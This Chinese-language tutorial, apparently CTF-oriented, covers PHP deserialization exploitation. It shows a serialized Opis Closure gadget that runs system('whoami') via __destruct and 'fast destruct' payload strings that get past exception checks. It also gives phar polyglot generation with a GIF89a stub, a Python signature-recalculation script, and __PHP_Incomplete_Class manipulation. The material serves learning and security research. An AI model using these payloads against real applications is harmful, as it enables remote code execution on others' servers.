Opi/Closure(闭包)函数
PHP
在5.3版本引入了Closure
类用于代表匿名函数
根据PHP
官方文档,Closure 类定义如下
1
2
3
4
5
6
7
8
9
10
|
<?
class Closure {
/* 方法 */
private __construct()
public static bind(Closure $closure, ?object $newThis, object|string|null $newScope = "static"): ?Closure
public bindTo(object $newthis, mixed $newscope = 'static'): Closure
public call(object $newThis, mixed ...$args): mixed
public static fromCallable(callable $callback): Closure
}
?>
|
但是Closure
是不允许序列化和反序列化的,然而Opi Closure库实现了这一功能,通过Opi Closure
,可以方便对闭包进行序列化和反序列化,只需要使用Opis\Closure\serialize()
和Opis\Closure\unserialize()
即可
举个例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
include("./vendor/opis/closure/autoload.php");
class Test{
public $source;
public function __destruct(){
call_user_func($this->source,1);
}
}
$func = function(){
$cmd = 'whoami';
system($cmd);
};
$raw = \Opis\Closure\serialize($func);
$t = new Test;
$t->source = \Opis\Closure\unserialize($raw);
$exp = serialize($t);
unserialize($exp);
//output f10wers13eicheng
|
fast destruct
- 在 PHP 中单独执行
unserialize
函数,则反序列化得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()
函数时就会执行__destruct
方法
- 而如果将
unserialize()
函数执行后得到的字符串赋值给一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁时才执行析构方法
比如PHP中有如下代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<?php
class test{
public function __destruct(){
echo "bypass";
}
}
$a = @unserialize('O:4:"test":0:{}');
throw new Exception("No No No");
?>
//output
-> % php index.php
PHP Fatal error: Uncaught Exception: No No No in /Users/f10wers13eicheng/Desktop/webserver/index.php:8
Stack trace:
#0 {main}
thrown in /Users/f10wers13eicheng/Desktop/webserver/index.php on line 8
Fatal error: Uncaught Exception: No No No in /Users/f10wers13eicheng/Desktop/webserver/index.php:8
Stack trace:
#0 {main}
thrown in /Users/f10wers13eicheng/Desktop/webserver/index.php on line 8
|
0x01
但是如果我们破坏正常序列化的结构,就会提前执行__destruct
1
2
3
|
//O:4:"test":0:{
//O:4:"test":0:{1}
//bypass
|
0x02
利用array
,众所周知array
也是能被序列化/反序列化的,当反序列化时遇到null
也会触发fast destruct
,修改序列化后array
的属性值即可
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
error_reporting(0);
class test01{
public function __destruct(){
echo "test01".PHP_EOL;
}
}
//$o = serialize(array(new test01));
//echo $o;
$a = unserialize('a:2:{i:0;O:6:"test01":0:{}i:1;i:0;}');
throw new Exception("No No No");
?>
|
phar反序列化
生成phar文件
1
2
3
4
5
6
7
8
|
$clazz = new Clazz();
@unlink("test.phar");
$p = new Phar("test.phar",0);
$p->startBuffering();
$p->setMetadata($clazz);
$p->setStub("GIF89a__HALT_COMPILER();");
$p->addFromString("text.txt","successful!");
$p->stopBuffering();
|
重新计算 phar 文件的签名
1
2
3
4
5
6
7
8
9
10
11
12
|
import hashlib
f = open("test.phar", "rb")
data = f.read()
f.close()
length = int(data[47:51][::-1].hex(), 16)
data = data[:51 + length - 1] + b"1" + data[51 + length:len(data) - 28]
data += hashlib.sha1(data).digest()
data += b"\x02\x00\x00\x00GBMB"
f = open("test.phar", "wb")
f.write(data)
f.close()
|
stdClass和__PHP_Incomplete_Class
stdClass
是所有类的基类,可以代替array
来反序列化两个类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
var_dump(unserialize('O:8:"stdClass":2:{i:0;O:6:"test01":0:{}i:1;O:6:"test02":0:{}}'))
?>
//output
object(stdClass)#1 (2) {
["0"]=>
object(__PHP_Incomplete_Class)#2 (1) {
["__PHP_Incomplete_Class_Name"]=>
string(6) "test01"
}
["1"]=>
object(__PHP_Incomplete_Class)#3 (1) {
["__PHP_Incomplete_Class_Name"]=>
string(6) "test02"
}
}
|
当反序列化一个没有类会出现__PHP_Incomplete_Class
,并且其中会出现__PHP_Incomplete_Class_Name
属性,值就是反序列化时没有的那个类,在序列化的时候便会恢复回去。
如果我们将__PHP_Incomplete_Class_Name
属性改成其他名字,便会在反序列化再序列化之后就会消失